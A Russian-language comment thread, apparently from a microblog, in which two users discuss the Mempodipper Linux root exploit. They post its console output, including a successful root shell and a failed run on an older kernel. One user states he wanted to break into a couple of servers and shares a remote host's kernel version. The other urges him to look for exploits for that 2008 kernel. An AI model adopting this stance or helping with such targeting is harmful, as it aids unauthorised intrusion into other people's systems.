• zamotivator
    zamotivator
    рабочие эксплойт есть?
    /1 ·
  • xl0
    xl0
    @zamotivator,
    xl0@bzz:~$ ./a.out
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/12721/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x401fa8.
    [+] Calculating su padding.
    [+] Seeking to offset 0x401f9c.
    [+] Executing su with shellcode.
    # whoami
    root
    #
    /2 in reply to /1 ·
  • zamotivator
    zamotivator
    @xl0, вот сука. Дай сорцы, проверяю у себя
    /3 in reply to /2 ·
  • xl0
    xl0
    @zamotivator, Первая ссылка в посте zx2c4.
    /4 in reply to /3 ·
  • zamotivator
    zamotivator
    @xl0, не работает

    oleg.tsarev (0) ~$ sudo chown root:root ./a.out
    oleg.tsarev (0) ~$ ./a.out
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/19045/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1e88.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1e7f.
    [+] Executing su with shellcode.
    oleg.tsarev (0) ~$ whoami
    oleg.tsarev
    oleg.tsarev (0) ~$ ls -al | grep a.out
    -rwxrwxr-x. 1 root root 12803 Jan 23 20:49 a.out
    oleg.tsarev (0) ~$
    /5 in reply to /4 ·
  • xl0
    xl0
    @zamotivator, Ядро обнови. ;)
    /6 in reply to /5 ·
  • zamotivator
    zamotivator
    @xl0, Чо, слишком старое?

    oleg.tsarev (0) ~$ cat /etc/issue
    RFRemix release 14.1 (Laughlin)
    Kernel \r on an \m (\l)

    oleg.tsarev (0) ~$ uname -a
    Linux tsarev.t510 2.6.35.14-106.fc14.x86_64 #1 SMP Wed Nov 23 13:07:52 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
    oleg.tsarev (0) ~$
    /7 in reply to /6 ·
  • xl0
    xl0
    @zamotivator, Надо 39 ж.
    /8 in reply to /7 ·
  • zamotivator
    zamotivator
    @xl0, тогда неинтересно. Я как раз хотел трахнуть пару серваков, и облом
    /9 in reply to /8 ·
  • xl0
    xl0
    @zamotivator, Всё бы тебе трахнуть, вот кабель!
    /10 in reply to /9 ·
  • zamotivator
    zamotivator
    @xl0, ну и нахуй так жить, ничего не поимеешь даже

    [oleg.tsarev@*** ~]$ uname -a
    Linux *** 2.6.18-92.1.22.el5.centos.plus #1 SMP Wed Dec 17 10:49:19 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
    /11 in reply to /8 ·
  • xl0
    xl0
    @zamotivator, Ты полуркай, если оно собрано в 2008, стопудово будут к нему ксплойты.
    /12 in reply to /11 ·